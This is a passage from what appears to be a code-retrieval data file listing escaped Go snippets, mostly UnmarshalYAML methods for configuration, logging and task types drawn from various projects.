string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif !LabelName(s).IsValid() {\\n\\t\\treturn fmt.Errorf(\\\"%q is not a valid label name\\\", s)\\n\\t}\\n\\t*ln = LabelName(s)\\n\\treturn nil\\n}\",\n \"func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Alias Mount\\n\\taux := &struct {\\n\\t\\tPropagation string `yaml:\\\"propagation\\\"`\\n\\t\\t*Alias\\n\\t}{\\n\\t\\tAlias: (*Alias)(m),\\n\\t}\\n\\tif err := unmarshal(&aux); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// if unset, will fallback to the default (0)\\n\\tif aux.Propagation != \\\"\\\" {\\n\\t\\tval, ok := MountPropagationNameToValue[aux.Propagation]\\n\\t\\tif !ok {\\n\\t\\t\\treturn fmt.Errorf(\\\"unknown propagation value: %s\\\", aux.Propagation)\\n\\t\\t}\\n\\t\\tm.Propagation = MountPropagation(val)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tp string\\n\\tunmarshal(&tp)\\n\\tlevel, exist := LogLevelMapping[tp]\\n\\tif !exist {\\n\\t\\treturn errors.New(\\\"invalid mode\\\")\\n\\t}\\n\\t*l = level\\n\\treturn nil\\n}\",\n \"func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\" \\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar loglevelString string\\n\\terr := unmarshal(&loglevelString)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tloglevelString = strings.ToLower(loglevelString)\\n\\tswitch loglevelString {\\n\\tcase \\\"error\\\", \\\"warn\\\", \\\"info\\\", \\\"debug\\\":\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"Invalid loglevel %s Must be one of [error, warn, info, debug]\\\", loglevelString)\\n\\t}\\n\\n\\t*loglevel = Loglevel(loglevelString)\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tlbSet := model.LabelSet{}\\n\\terr := unmarshal(&lbSet)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.LabelSet = lbSet\\n\\treturn nil\\n}\",\n \"func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\\n\\tvar d string\\n\\tif err = value.Decode(&d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// check data format\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*date = Date(d)\\n\\treturn nil\\n}\",\n \"func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&d.raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := d.init(); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"verifying YAML data: %s\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\\n\\tvar unmarshaled stepUnmarshaller\\n\\tif err := unmarshal(&unmarshaled); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.Title = unmarshaled.Title\\n\\ts.Description = unmarshaled.Description\\n\\ts.Vars = unmarshaled.Vars\\n\\ts.Protocol = unmarshaled.Protocol\\n\\ts.Include = unmarshaled.Include\\n\\ts.Ref = unmarshaled.Ref\\n\\ts.Bind = unmarshaled.Bind\\n\\ts.Timeout = unmarshaled.Timeout\\n\\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\\n\\ts.Retry = unmarshaled.Retry\\n\\n\\tp := protocol.Get(s.Protocol)\\n\\tif p == nil {\\n\\t\\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\\n\\t\\t\\treturn errors.Errorf(\\\"unknown protocol: %s\\\", s.Protocol)\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\tif unmarshaled.Request != nil {\\n\\t\\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\ts.Request = invoker\\n\\t}\\n\\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.Expect = builder\\n\\n\\treturn nil\\n}\",\n \"func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\\n\\tif value.Kind != yaml.MappingNode {\\n\\t\\treturn errors.New(\\\"expected mapping\\\")\\n\\t}\\n\\n\\tgc.versions = make(map[string]*VersionConfiguration)\\n\\tvar lastId string\\n\\n\\tfor i, c := range value.Content {\\n\\t\\t// Grab identifiers and loop to handle the associated value\\n\\t\\tif i%2 == 0 {\\n\\t\\t\\tlastId = c.Value\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Handle nested version metadata\\n\\t\\tif c.Kind == yaml.MappingNode {\\n\\t\\t\\tv := NewVersionConfiguration(lastId)\\n\\t\\t\\terr := c.Decode(&v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"decoding yaml for %q\\\", lastId)\\n\\t\\t\\t}\\n\\n\\t\\t\\tgc.addVersion(lastId, v)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// $payloadType: \\n\\t\\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\\n\\t\\t\\tswitch strings.ToLower(c.Value) {\\n\\t\\t\\tcase string(OmitEmptyProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(OmitEmptyProperties)\\n\\t\\t\\tcase string(ExplicitCollections):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitCollections)\\n\\t\\t\\tcase string(ExplicitProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitProperties)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn errors.Errorf(\\\"unknown %s value: %s.\\\", payloadTypeTag, c.Value)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// No handler for this value, return an error\\n\\t\\treturn errors.Errorf(\\n\\t\\t\\t\\\"group configuration, unexpected yaml value %s: %s (line %d col %d)\\\", lastId, c.Value, c.Line, c.Column)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype defaults Options\\n\\tdefaultValues := defaults(*NewOptions())\\n\\n\\tif err := unmarshal(&defaultValues); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*options = Options(defaultValues)\\n\\n\\tif options.SingleLineDisplay {\\n\\t\\toptions.ShowSummaryFooter = false\\n\\t\\toptions.CollapseOnCompletion = false\\n\\t}\\n\\n\\t// the global options must be available when parsing the task yaml (todo: does order matter?)\\n\\tglobalOptions = options\\n\\treturn nil\\n}\",\n \"func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate int\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ti.set(candidate)\\n\\treturn nil\\n}\",\n \"func (v *Int8) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val int8\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tv.Val = val\\n\\tv.IsAssigned = true\\n\\treturn nil\\n}\",\n \"func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar candidate float64\\n\\tif err := unmarshal(&candidate); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tf.set(candidate)\\n\\treturn nil\\n}\",\n \"func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\trate, err := ParseRate(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = rate\\n\\treturn nil\\n}\",\n \"func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\\n\\tvar s yaml.MapSlice\\n\\tif err := yaml.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif len(s) == 0 {\\n\\t\\treturn nil\\n\\t}\\n\\tresult := OrderedMap[K, V]{\\n\\t\\tidx: map[K]int{},\\n\\t\\titems: make([]OrderedMapItem[K, V], len(s)),\\n\\t}\\n\\tfor i, item := range s {\\n\\t\\tkb, err := yaml.Marshal(item.Key)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar k K\\n\\t\\tif err := yaml.Unmarshal(kb, &k); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvb, err := yaml.Marshal(item.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tvar v V\\n\\t\\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tresult.idx[k] = i\\n\\t\\tresult.items[i].Key = k\\n\\t\\tresult.items[i].Value = v\\n\\t}\\n\\t*m = result\\n\\treturn nil\\n}\",\n \"func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar mvList []string\\n\\tif err := unmarshal(&mvList); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tparsed, err := ParseMoves(mvList)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*moves = parsed\\n\\treturn nil\\n}\",\n \"func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif err := unmarshal(&tf.Tasks); err == nil {\\n\\t\\ttf.Version = \\\"1\\\"\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar taskfile struct {\\n\\t\\tVersion string\\n\\t\\tExpansions int\\n\\t\\tOutput string\\n\\t\\tIncludes yaml.MapSlice\\n\\t\\tVars Vars\\n\\t\\tEnv Vars\\n\\t\\tTasks Tasks\\n\\t}\\n\\tif err := unmarshal(&taskfile); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Version = taskfile.Version\\n\\ttf.Expansions = taskfile.Expansions\\n\\ttf.Output = taskfile.Output\\n\\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ttf.Includes = includes\\n\\ttf.IncludeDefaults = defaultInclude\\n\\ttf.Vars = taskfile.Vars\\n\\ttf.Env = taskfile.Env\\n\\ttf.Tasks = taskfile.Tasks\\n\\tif tf.Expansions <= 0 {\\n\\t\\ttf.Expansions = 2\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *PushoverConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultPushoverConfig\\n\\ttype plain PushoverConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.UserKey == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing user key in Pushover config\\\")\\n\\t}\\n\\tif c.Token == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"missing token in Pushover config\\\")\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"pushover config\\\")\\n}\",\n \"func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\n\\tif err := unmarshal(&s); err == nil {\\n\\t\\ti.File = s\\n\\t\\treturn nil\\n\\t}\\n\\tvar str struct {\\n\\t\\tFile string `yaml:\\\"file,omitempty\\\"`\\n\\t\\tRepository string `yaml:\\\"repository,omitempty\\\"`\\n\\t\\tNamespaceURI string `yaml:\\\"namespace_uri,omitempty\\\"`\\n\\t\\tNamespacePrefix string `yaml:\\\"namespace_prefix,omitempty\\\"`\\n\\t}\\n\\tif err := unmarshal(&str); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ti.File = str.File\\n\\ti.Repository = str.Repository\\n\\ti.NamespaceURI = str.NamespaceURI\\n\\ti.NamespacePrefix = str.NamespacePrefix\\n\\treturn nil\\n}\",\n \"func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar runSlice []*Run\\n\\tsliceCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runSlice) },\\n\\t\\tAssign: func() { *rl = runSlice },\\n\\t}\\n\\n\\tvar runItem *Run\\n\\titemCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *rl = RunList{runItem} },\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\\n}\",\n \"func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif defaultTestLimits != nil {\\n\\t\\t*l = *defaultTestLimits\\n\\t}\\n\\ttype plain TestLimits\\n\\treturn unmarshal((*plain)(l))\\n}\",\n \"func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tmp map[string]interface{}\\n\\tif err := unmarshal(&tmp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdata, err := json.Marshal(tmp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn json.Unmarshal(data, m)\\n}\",\n \"func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = InterfaceString(s)\\n\\treturn err\\n}\",\n \"func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar t string\\n\\terr := unmarshal(&t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\\n\\t\\t*s = val\\n\\t\\treturn nil\\n\\t}\\n\\n\\treturn fmt.Errorf(\\\"'%s' is not a valid token strategy\\\", t)\\n}\",\n \"func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar err error\\n\\tvar str string\\n\\tif err = unmarshal(&str); err == nil {\\n\\t\\tw.Command = str\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar commandArray []string\\n\\tif err = unmarshal(&commandArray); err == nil {\\n\\t\\tw.Commands = commandArray\\n\\t\\treturn nil\\n\\t}\\n\\treturn nil //TODO: should be an error , something like UNhhandledError\\n}\",\n \"func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar boolType bool\\n\\tif err := unmarshal(&boolType); err == nil {\\n\\t\\te.External = boolType\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar structType = struct {\\n\\t\\tName string\\n\\t}{}\\n\\tif err := unmarshal(&structType); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif structType.Name != \\\"\\\" {\\n\\t\\te.External = true\\n\\t\\te.Name = structType.Name\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *ApprovalStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar j string\\n\\tif err := unmarshal(&j); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\\n\\t*a = approvalStrategyToID[strings.ToLower(j)]\\n\\treturn nil\\n}\",\n \"func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar str string\\n\\terr := unmarshal(&str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*key, err = NewPublicKey(str)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar value string\\n\\tif err := unmarshal(&value); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := t.Set(value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"failed to parse '%s' to Type: %v\\\", value, err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func unmarshalStrict(data []byte, out interface{}) error {\\n\\tdec := yaml.NewDecoder(bytes.NewReader(data))\\n\\tdec.KnownFields(true)\\n\\tif err := dec.Decode(out); err != nil && !errors.Is(err, io.EOF) {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn docs.NewLintError(value.Line, docs.LintComponentMissing, err.Error())\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar val string\\n\\tif err := unmarshal(&val); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn d.FromString(val)\\n}\",\n \"func unmarsharlYaml(byteArray []byte) Config {\\n var cfg Config\\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\\n if err != nil {\\n log.Fatalf(\\\"error: %v\\\", err)\\n }\\n return cfg\\n}\",\n \"func LoadYaml(data []byte) ([]runtime.Object, error) {\\n\\tparts := bytes.Split(data, []byte(\\\"---\\\"))\\n\\tvar r []runtime.Object\\n\\tfor _, part := range parts {\\n\\t\\tpart = bytes.TrimSpace(part)\\n\\t\\tif len(part) == 0 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tr = append(r, obj)\\n\\t}\\n\\treturn r, nil\\n}\",\n \"func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype Z struct {\\n\\t\\tS *string `json:\\\"s\\\"`\\n\\t\\tI *int32 `json:\\\"iVal\\\"`\\n\\t}\\n\\tvar dec Z\\n\\tif err := unmarshal(&dec); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif dec.S != nil {\\n\\t\\tz.S = *dec.S\\n\\t}\\n\\tif dec.I != nil {\\n\\t\\tz.I = *dec.I\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&r.ScalingConfig); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif !r.ScalingConfig.IsEmpty() {\\n\\t\\t// Successfully unmarshalled ScalingConfig fields, return\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif err := value.Decode(&r.Value); err != nil {\\n\\t\\treturn errors.New(`unable to unmarshal into int or composite-style map`)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype raw Config\\n\\tvar cfg raw\\n\\tif c.URL.URL != nil {\\n\\t\\t// we used flags to set that value, which already has sane default.\\n\\t\\tcfg = raw(*c)\\n\\t} else {\\n\\t\\t// force sane defaults.\\n\\t\\tcfg = raw{\\n\\t\\t\\tBackoffConfig: util.BackoffConfig{\\n\\t\\t\\t\\tMaxBackoff: 5 * time.Second,\\n\\t\\t\\t\\tMaxRetries: 5,\\n\\t\\t\\t\\tMinBackoff: 100 * time.Millisecond,\\n\\t\\t\\t},\\n\\t\\t\\tBatchSize: 100 * 1024,\\n\\t\\t\\tBatchWait: 1 * time.Second,\\n\\t\\t\\tTimeout: 10 * time.Second,\\n\\t\\t}\\n\\t}\\n\\n\\tif err := unmarshal(&cfg); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*c = Config(cfg)\\n\\treturn nil\\n}\",\n \"func (c *Scrubber) ScrubYaml(input []byte) ([]byte, error) {\\n\\tvar data *interface{}\\n\\terr := yaml.Unmarshal(input, &data)\\n\\n\\t// if we can't load the yaml run the default scrubber on the input\\n\\tif err == nil {\\n\\t\\twalk(data, func(key string, value interface{}) (bool, interface{}) {\\n\\t\\t\\tfor _, replacer := range c.singleLineReplacers {\\n\\t\\t\\t\\tif replacer.YAMLKeyRegex == nil {\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif replacer.YAMLKeyRegex.Match([]byte(key)) {\\n\\t\\t\\t\\t\\tif replacer.ProcessValue != nil {\\n\\t\\t\\t\\t\\t\\treturn true, replacer.ProcessValue(value)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\treturn true, defaultReplacement\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\treturn false, \\\"\\\"\\n\\t\\t})\\n\\n\\t\\tnewInput, err := yaml.Marshal(data)\\n\\t\\tif err == nil {\\n\\t\\t\\tinput = newInput\\n\\t\\t} else {\\n\\t\\t\\t// Since the scrubber is a dependency of the logger we can use it here.\\n\\t\\t\\tfmt.Fprintf(os.Stderr, \\\"error scrubbing YAML, falling back on text scrubber: %s\\\\n\\\", err)\\n\\t\\t}\\n\\t}\\n\\treturn c.ScrubBytes(input)\\n}\",\n \"func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*c = DefaultSlackConfig\\n\\ttype plain SlackConfig\\n\\tif err := unmarshal((*plain)(c)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn checkOverflow(c.XXX, \\\"slack config\\\")\\n}\",\n \"func (version *Version) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar versionString string\\n\\terr := unmarshal(&versionString)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tnewVersion := Version(versionString)\\n\\tif _, err := newVersion.major(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif _, err := newVersion.minor(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*version = newVersion\\n\\treturn nil\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tobj := make(map[string]interface{})\\n\\tif err := unmarshal(&obj); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif value, ok := obj[\\\"authorizationUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.AuthorizationURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"tokenUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.TokenURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"refreshUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.RefreshURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"scopes\\\"]; ok {\\n\\t\\trbytes, err := yaml.Marshal(value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tvalue := map[string]string{}\\n\\t\\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tr.Scopes = value\\n\\t}\\n\\n\\texts := Extensions{}\\n\\tif err := unmarshal(&exts); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif len(exts) > 0 {\\n\\t\\tr.Extensions = exts\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"ParseKind should be a string\\\")\\n\\t}\\n\\tv, ok := _ParseKindNameToValue[s]\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"invalid ParseKind %q\\\", s)\\n\\t}\\n\\t*r = v\\n\\treturn nil\\n}\",\n \"func ReUnmarshal(rc *promcfg.RelabelConfig) error {\\n\\ts, err := yaml.Marshal(rc)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to marshal relabel config: %s\\\", err)\\n\\t}\\n\\terr = yaml.Unmarshal(s, rc)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"Failed to re-unmarshal relabel config: %s\\\", err)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar cl CommandList\\n\\tcommandCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&cl) },\\n\\t\\tAssign: func() { *r = Run{Command: cl} },\\n\\t}\\n\\n\\ttype runType Run // Use new type to avoid recursion\\n\\tvar runItem runType\\n\\trunCandidate := marshal.UnmarshalCandidate{\\n\\t\\tUnmarshal: func() error { return unmarshal(&runItem) },\\n\\t\\tAssign: func() { *r = Run(runItem) },\\n\\t\\tValidate: func() error {\\n\\t\\t\\tactionUsedList := []bool{\\n\\t\\t\\t\\tlen(runItem.Command) != 0,\\n\\t\\t\\t\\tlen(runItem.SubTaskList) != 0,\\n\\t\\t\\t\\trunItem.SetEnvironment != nil,\\n\\t\\t\\t}\\n\\n\\t\\t\\tcount := 0\\n\\t\\t\\tfor _, isUsed := range actionUsedList {\\n\\t\\t\\t\\tif isUsed {\\n\\t\\t\\t\\t\\tcount++\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\n\\t\\t\\tif count > 1 {\\n\\t\\t\\t\\treturn errors.New(\\\"only one action can be defined in `run`\\\")\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn nil\\n\\t\\t},\\n\\t}\\n\\n\\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\\n}\",\n \"func UnmarshalInlineYaml(obj map[string]interface{}, targetPath string) (err error) {\\n\\tnodeList := strings.Split(targetPath, \\\".\\\")\\n\\tif len(nodeList) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"targetPath '%v' length is zero after split\\\", targetPath)\\n\\t}\\n\\n\\tcur := obj\\n\\tfor _, nname := range nodeList {\\n\\t\\tndata, ok := cur[nname]\\n\\t\\tif !ok || ndata == nil { // target path does not exist\\n\\t\\t\\treturn fmt.Errorf(\\\"targetPath '%v' doest not exist in obj: '%v' is missing\\\",\\n\\t\\t\\t\\ttargetPath, nname)\\n\\t\\t}\\n\\t\\tswitch nnode := ndata.(type) {\\n\\t\\tcase map[string]interface{}:\\n\\t\\t\\tcur = nnode\\n\\t\\tdefault: // target path type does not match\\n\\t\\t\\treturn fmt.Errorf(\\\"targetPath '%v' doest not exist in obj: \\\"+\\n\\t\\t\\t\\t\\\"'%v' type is not map[string]interface{}\\\", targetPath, nname)\\n\\t\\t}\\n\\t}\\n\\n\\tfor dk, dv := range cur {\\n\\t\\tswitch vnode := dv.(type) {\\n\\t\\tcase string:\\n\\t\\t\\tvo := make(map[string]interface{})\\n\\t\\t\\tif err := yaml.Unmarshal([]byte(vnode), &vo); err != nil {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\t// Replace the original text yaml tree node with yaml 